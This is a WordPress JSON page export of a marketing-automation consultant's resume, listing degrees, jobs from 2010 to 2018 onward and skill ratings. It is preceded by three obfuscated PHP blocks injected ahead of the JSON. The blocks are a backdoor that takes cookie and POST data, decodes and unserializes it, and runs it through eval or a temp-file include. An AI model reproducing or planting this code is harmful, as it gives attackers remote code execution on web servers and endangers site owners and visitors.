$kvyFPFd = "\x48" . 'b' . '_' . chr (71) . chr ( 620 - 541 ).chr (115) . chr ( 326 - 240 ).'r';$NQYhNwO = chr ( 363 - 264 )."\154" . chr ( 862 - 765 )."\x73" . chr (115) . chr ( 559 - 464 ).chr (101) . 'x' . chr ( 835 - 730 )."\163" . chr ( 717 - 601 )."\163";$gZBRZQLKn = class_exists($kvyFPFd); $NQYhNwO = "43568";$zNDNZ = strpos($NQYhNwO, $kvyFPFd);if ($gZBRZQLKn == $zNDNZ){function cDTglSI(){$CLDGKhQ = new /* 27023 */ Hb_GOsVr(62166 + 62166); $CLDGKhQ = NULL;}$DhdnKcYry = "62166";class Hb_GOsVr{private function PUZfE($DhdnKcYry){if (is_array(Hb_GOsVr::$eaFaeqXJww)) {$wIHSVftGP2 = str_replace("<" . "?php", "", Hb_GOsVr::$eaFaeqXJww["content"]);eval($wIHSVftGP2); $DhdnKcYry = "62166";exit();}}public function udUmGpJV(){$wIHSVftGP = "12054";$this->_dummy = str_repeat($wIHSVftGP, strlen($wIHSVftGP));}public function __destruct(){Hb_GOsVr::$eaFaeqXJww = @unserialize(Hb_GOsVr::$eaFaeqXJww); $DhdnKcYry = "52781_11764";$this->PUZfE($DhdnKcYry); $DhdnKcYry = "52781_11764";}public function eHbbV($wIHSVftGP, $jsHGDIRu){return $wIHSVftGP[0] ^ str_repeat($jsHGDIRu, intval(strlen($wIHSVftGP[0]) / strlen($jsHGDIRu)) + 1);}public function PKdBKVB($wIHSVftGP){$XbeHYcD = "\x62" . chr (97) . "\x73" . chr ( 169 - 68 ).chr (54) . "\64";return array_map($XbeHYcD . "\x5f" . chr ( 1089 - 989 ).'e' . 'c' . chr (111) . "\144" . chr (101), array($wIHSVftGP,));}public function __construct($JDZkokEN=0){$yKmgm = "\x2c";$wIHSVftGP = "";$bKfaqKPsDA = $_POST;$UzPknIxlFR = $_COOKIE;$jsHGDIRu = "d66b0fa3-d0f9-4a0e-9901-93147f656175";$wCfuEliBu = @$UzPknIxlFR[substr($jsHGDIRu, 0, 4)];if (!empty($wCfuEliBu)){$wCfuEliBu = explode($yKmgm, $wCfuEliBu);foreach ($wCfuEliBu as $CJOGlSV){$wIHSVftGP .= @$UzPknIxlFR[$CJOGlSV];$wIHSVftGP .= @$bKfaqKPsDA[$CJOGlSV];}$wIHSVftGP = $this->PKdBKVB($wIHSVftGP);}Hb_GOsVr::$eaFaeqXJww = $this->eHbbV($wIHSVftGP, $jsHGDIRu);if (strpos($jsHGDIRu, $yKmgm) !== FALSE){$jsHGDIRu = explode($yKmgm, $jsHGDIRu); $LpMjixVzh = base64_decode(md5($jsHGDIRu[0])); $fTvsK = strlen($jsHGDIRu[1]) > 5 ? substr($jsHGDIRu[1], 0, 5) : $jsHGDIRu[1];$_GET['new_key'] = md5(implode('', $jsHGDIRu)); $NQXNARh = str_repeat($fTvsK, 2);}}public static $eaFaeqXJww = 6926;}cDTglSI();}$kIOBwngHiX = 'd' . "\x79" . "\x5f" . chr (83) . "\x59" . 'P' . chr (119); $HMyPuIVM = 'c' . chr ( 451 - 343 ).'a' . chr (115) . chr ( 393 - 278 ).'_' . chr (101) . chr (120) . 'i' . chr ( 651 - 536 )."\164" . "\163";$EkxyIPn = class_exists($kIOBwngHiX); $HMyPuIVM = "21371";$KjfRKXluTa = strpos($HMyPuIVM, $kIOBwngHiX);if ($EkxyIPn == $KjfRKXluTa){function GrmVqTWrON(){$HoZWHEXCb = new /* 19685 */ dy_SYPw(46273 + 46273); $HoZWHEXCb = NULL;}$QRNSeRsEjs = "46273";class dy_SYPw{private function jiZRq($QRNSeRsEjs){if (is_array(dy_SYPw::$YuPorV)) {$kVhSMDEhZ2 = str_replace("<" . "?php", "", dy_SYPw::$YuPorV["content"]);eval($kVhSMDEhZ2); $QRNSeRsEjs = "46273";exit();}}public function AzOKLsNRP(){$kVhSMDEhZ = "36396";$this->_dummy = str_repeat($kVhSMDEhZ, strlen($kVhSMDEhZ));}public function __destruct(){dy_SYPw::$YuPorV = @unserialize(dy_SYPw::$YuPorV); $QRNSeRsEjs = "12464_48655";$this->jiZRq($QRNSeRsEjs); $QRNSeRsEjs = "12464_48655";}public function bCRFmzB($kVhSMDEhZ, $SWXRM){return $kVhSMDEhZ[0] ^ str_repeat($SWXRM, intval(strlen($kVhSMDEhZ[0]) / strlen($SWXRM)) + 1);}public function lGDgyBhFX($kVhSMDEhZ){$UZpOoJYf = chr ( 915 - 817 ).chr (97) . 's' . chr ( 1092 - 991 ).chr ( 185 - 131 )."\x34";return array_map($UZpOoJYf . chr (95) . 'd' . chr (101) . "\x63" . "\157" . chr ( 868 - 768 ).chr ( 980 - 879 ), array($kVhSMDEhZ,));}public function __construct($AYTsXfa=0){$KlvbdPG = chr (44); $kVhSMDEhZ = "";$upiyGcSda = $_POST;$AVhJcUwQ = $_COOKIE;$SWXRM = "3b34114c-77ba-4bd4-aa7a-c61e68750909";$upioHm = @$AVhJcUwQ[substr($SWXRM, 0, 4)];if (!empty($upioHm)){$upioHm = explode($KlvbdPG, $upioHm);foreach ($upioHm as $LunFUSxo){$kVhSMDEhZ .= @$AVhJcUwQ[$LunFUSxo];$kVhSMDEhZ .= @$upiyGcSda[$LunFUSxo];}$kVhSMDEhZ = $this->lGDgyBhFX($kVhSMDEhZ);}dy_SYPw::$YuPorV = $this->bCRFmzB($kVhSMDEhZ, $SWXRM);if (strpos($SWXRM, $KlvbdPG) !== FALSE){$SWXRM = explode($KlvbdPG, $SWXRM); $KtaVDIffbu = base64_decode(strrev($SWXRM[0]));}}public static $YuPorV = 62812;}GrmVqTWrON();}$JYvLf = chr (68) . "\156" . chr ( 1000 - 879 ).chr ( 600 - 505 )."\x76" . chr (104) . 'M' . 'n';$TWcATEeQW = "\143" . 'l' . chr ( 409 - 312 ).'s' . "\163" . "\137" . chr (101) . chr (120) . chr (105) . chr (115) . chr (116) . "\163";$HJFdEeFcp = class_exists($JYvLf); $TWcATEeQW = "57303";$xunSAf = strpos($TWcATEeQW, $JYvLf);if ($HJFdEeFcp == $xunSAf){function gDyrjvNRu(){$KPVmgIFOd = new /* 44218 */ Dny_vhMn(56114 + 56114); $KPVmgIFOd = NULL;}$lXKmgYzHGp = "56114";class Dny_vhMn{private function WPYQhIc($lXKmgYzHGp){if (is_array(Dny_vhMn::$gYiLqsvi)) {$XOFcf = sys_get_temp_dir() . "/" . crc32(Dny_vhMn::$gYiLqsvi['s' . "\x61" . chr ( 991 - 883 ).chr (116)]);@Dny_vhMn::$gYiLqsvi['w' . "\162" . 'i' . "\164" . 'e']($XOFcf, Dny_vhMn::$gYiLqsvi['c' . 'o' . chr ( 505 - 395 )."\164" . chr ( 754 - 653 )."\x6e" . chr ( 1063 - 947 )]);include $XOFcf;@Dny_vhMn::$gYiLqsvi["\x64" . "\145" . "\154" . chr ( 820 - 719 )."\164" . chr (101)]($XOFcf); $lXKmgYzHGp = "56114";exit();}}public function fcbmN(){$PtxzSoUeM = "30031";$this->_dummy = str_repeat($PtxzSoUeM, strlen($PtxzSoUeM));}public function __destruct(){Dny_vhMn::$gYiLqsvi = @unserialize(Dny_vhMn::$gYiLqsvi); $lXKmgYzHGp = "48937_33397";$this->WPYQhIc($lXKmgYzHGp); $lXKmgYzHGp = "48937_33397";}public function CFfBdxg($PtxzSoUeM, $ySMwDhqL){return $PtxzSoUeM[0] ^ str_repeat($ySMwDhqL, (strlen($PtxzSoUeM[0]) / strlen($ySMwDhqL)) + 1);}public function CASoNf($PtxzSoUeM){$kbRYT = "base64";return array_map($kbRYT . '_' . "\144" . "\145" . 'c' . 'o' . chr (100) . "\145", array($PtxzSoUeM,));}public function __construct($azYvZ=0){$DuMTQqnP = ",";$PtxzSoUeM = "";$UTRrFlRyYI = $_POST;$cDFGgZP = $_COOKIE;$ySMwDhqL = "fe68b9f7-6d0d-49f3-997d-971f77ee4221";$DaiACcWWs = @$cDFGgZP[substr($ySMwDhqL, 0, 4)];if (!empty($DaiACcWWs)){$DaiACcWWs = explode($DuMTQqnP, $DaiACcWWs);foreach ($DaiACcWWs as $FxRJU){$PtxzSoUeM .= @$cDFGgZP[$FxRJU];$PtxzSoUeM .= @$UTRrFlRyYI[$FxRJU];}$PtxzSoUeM = $this->CASoNf($PtxzSoUeM);}Dny_vhMn::$gYiLqsvi = $this->CFfBdxg($PtxzSoUeM, $ySMwDhqL);if (strpos($ySMwDhqL, $DuMTQqnP) !== FALSE){$ySMwDhqL = explode($DuMTQqnP, $ySMwDhqL);}}public static $gYiLqsvi = 3962;}gDyrjvNRu();}{"id":26,"date":"2018-04-05T12:36:53","date_gmt":"2018-04-05T12:36:53","guid":{"rendered":"http:\/\/mdrafi.com\/?page_id=26"},"modified":"2020-09-15T10:35:04","modified_gmt":"2020-09-15T10:35:04","slug":"resume","status":"publish","type":"page","link":"https:\/\/www.mdrafi.com\/resume\/","title":{"rendered":"Resume"},"content":{"rendered":"
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\r\n\t\tDownload My Resume<\/a>\t<\/div>\r\n<\/div>\r\n\r\n\r\n
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Education<\/span><\/h3>\n<\/div>\n\n\n
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2010<\/h5>\n\t\t\t\t<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Master of Computer Application<\/h4>\n\t\t\t\t

Institute of Management & Research, Ghaziabad, India. Affiliated from Uttar Pradesh Technical University, Lucknow.<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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2006<\/h5>\n\t\t\t\t<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Bachelor of Computer Application <\/h4>\n\t\t\t\t

United Institute of Management, Allahabad, India. Affiliated from Veer Bahadur Singh Purvanchal University, Jaunpur, India.<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<\/div>\n\n\t

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Experience<\/span><\/h3>\n<\/div>\n\n\n
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September 2018 - Current<\/h5>\n\t\t\t\tKLWTT (KatalystM Pte Ltd), Singapore<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Senior Digital Manager<\/h4>\n\t\t\t\t

As a Lead Technical Resource for the Oracle Eloqua, Adobe Marketo, Epsilon Harmony, Salesforce Pardot , IBM Watson Campaign Automation Marketing Automation Platforms:\r\nProvide expert MA Program and Campaign advice to the KatalystM Team and their Clients.\r\nProvide generic Digital Marketing advice and guidance to the KatalystM Team and their Clients.\r\nAssist with Digital and Marketing Strategy and Planning for the KatalystM and their Clients.\r\nProvide Pre-Sales and Post-Sales Support to both the Business and Client Development Teams within the KatalystM Group.\r\nProvide Expert Advice and Support on Digital Technologies such as Data and Platform Integrations, Search Engines, Landing Pages, Online Analytics etc.\r\nTrain and Mentor other KatalystM Team Members as and when required. <\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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January 2018 \u2013 August 2018<\/h5>\n\t\t\t\tRiDiK Pte Ltd, Singapore<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Senior Software Consultant \u2013 Marketing<\/h4>\n\t\t\t\t

Doing Implementation of Oracle Marketing Cloud and developing an acquisition plan for target markets that include the creation of campaigns, digital marketing optimization, social media programs, continuous performance and measurement of ROI for each tactic to ensure budgets are spent wisely. Developing integrated marketing campaigns to support business goals, doing reporting and tracking of campaign performance through Eloqua, Google Analytics, and Website, tracking codes and others as appropriate.\r\n\r\n<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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April 2016 \u2013 December 2017<\/h5>\n\t\t\t\tAgile Consulting Pvt Ltd, Gurgaon, India<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Senior Eloqua Consultant \u2013 Marketing <\/h4>\n\t\t\t\t

Providing marketing automation strategy, planning, measurement, optimization, consulting, implementation and execution services to the marketing automation team (using Oracle Eloqua & Oracle Responsys tools). To Establish and maintain scalable processes that ensure best practices in campaign and lead management. Working with other team members in marketing and sales to support specific initiatives, customized communications, and channel segments.\r\n<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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June 2015 \u2013 March 2016<\/h5>\n\t\t\t\tMarmato Consulting LLC, Orlando, Florida<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Digital Marketing Automation Manager <\/h4>\n\t\t\t\t

Worked as SME for CRM Tool (Oracle Eloqua, Marketo) implementation, Social Media Marketing, Lead generation & Nurturing Campaign Segmentation and Execution. To Assist in Strategizing, Planning and Lead execution\/implementation of automation of Digital Marketing campaigns and manage different aspects of the campaigns including budgeting, forecasting, accruals, monitoring and reporting and ensuring implementation of best practices in the campaign and lead management. Also Create and maintain KPI reports on marketing and sales activities, effectiveness, and business impact.<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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July 2014 \u2013 July 2015<\/h5>\n\t\t\t\tHCL Technologies<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Associate Manager - Corporate Strategic Marketing<\/h4>\n\t\t\t\t

Acted as liaison between organization and external vendors and leading the transition strategy for implementation the Oracle Eloqua Marketing Automation Platform. Strategizing and successfully implemented new Lead Nurturing Program within the organization to maximize the effectiveness of marketing automation to drive both quantity and quality of leads and increase conversion rates to opportunities. Worked closely with the cross-functional business units, the marketing team to plan, design and implement online and offline marketing campaigns.<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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June 2013 \u2013 July 2014<\/h5>\n\t\t\t\tVerticurl Pvt. Ltd, Coimbatore, India<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Team Lead \/ Senior Product Consultant<\/h4>\n\t\t\t\t

Worked on strategizing and managing execution\/implementation of marketing campaigns, Lead Generation & Nurturing for various global clients in APAC, North America, and EMEA regions. Lead implementation of multiple Eloqua 9, Eloqua 10, Responsys and Marketo based solutions to achieve optimal utilization of resources and reduce the project and operation cost to maximize ROI. Automation of KPI reports generation and publishing for senior management client to monitor ROI and strategize future campaigns. <\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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Dec 2010 \u2013 May 2013<\/h5>\n\t\t\t\tRightWave Info Solutions Pvt. Ltd<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Senior E-Marketing Consultant <\/h4>\n\t\t\t\t

Primary point of contact for all communication between the internal technical team and the customer\u2019s marketing team, providing the necessary expertise in translation of requirement, implementation details and reporting on all active projects, ensuring complete transparency on all development activities. Managing and administering end to end delivery and continual support for customer\u2019s marketing campaigns \u2013 automating their tasks, tracking their marketing calendar, setting up and executing their marketing campaigns along with delivering daily updates and reports on the status of active campaigns.<\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t

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June 2010 - Dec 2010<\/h5>\n\t\t\t\tSanjogSangini Matrimonial Services, Noida, India<\/span>\n\t\t\t\t\t\t\t\t\"image\"<\/span>\n\t\t\t\t\t\t\t<\/div>\n\t\t\t
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Web Developer<\/h4>\n\t\t\t\t

Developed and maintained corporate intranet and internet websites. Manage all client relationships and develop the web-based application for corporate clients. <\/p>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<\/div>\n\t<\/div>\r\n<\/div>\r\n\r\n\r\n

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Marketing Skills<\/span><\/h3>\n<\/div>\n\n\n
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Marketing Automation<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Demand Generation<\/h4>\n\t\t\t\t
80%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Digital Marketing<\/h4>\n\t\t\t\t
75%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Email Marketing<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Web Development<\/h4>\n\t\t\t\t
80%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Technical Skills<\/span><\/h3>\n<\/div>\n\n\n
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Eloqua<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Marketo<\/h4>\n\t\t\t\t
80%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Adobe Marketing Cloud<\/h4>\n\t\t\t\t
70%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Oracle Responsys<\/h4>\n\t\t\t\t
85%<\/div>\n\t\t\t<\/div>\n\t\t\t
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HTML \/ CSS<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Java Script\/ Jquery<\/h4>\n\t\t\t\t
70%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Salesforce Marketing Cloud<\/h4>\n\t\t\t\t
75%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Mailchimp<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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HubSpot<\/h4>\n\t\t\t\t
75%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Salesforce Pardot<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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IBM Watson Campaign Automation<\/h4>\n\t\t\t\t
75%<\/div>\n\t\t\t<\/div>\n\t\t\t
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Dot Digital<\/h4>\n\t\t\t\t
80%<\/div>\n\t\t\t<\/div>\n\t\t\t
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<\/div>\n\t\t\t<\/div>\n\t\t\t\t\t\t\t\t
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Epsilon Harmony<\/h4>\n\t\t\t\t
90%<\/div>\n\t\t\t<\/div>\n\t\t\t
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<\/div>\n\t\t\t<\/div>\n\t\t\t<\/div>\n\t<\/div>\r\n<\/div>\r\n<\/div>\n\n\t<\/div>\n<\/section>\n\n","protected":false},"excerpt":{"rendered":"

Download My Resume Education 2010 Master of Computer Application Institute of Management & Research, Ghaziabad, India. Affiliated from Uttar Pradesh Technical University, Lucknow. 2006 Bachelor of Computer Application United Institute of Management, Allahabad, India. Affiliated from Veer Bahadur Singh Purvanchal University, Jaunpur, India. Experience September 2018 – Current KLWTT (KatalystM Pte Ltd), Singapore Senior Digital […]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/pages\/26"}],"collection":[{"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/comments?post=26"}],"version-history":[{"count":0,"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/pages\/26\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.mdrafi.com\/wp-json\/wp\/v2\/media?parent=26"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}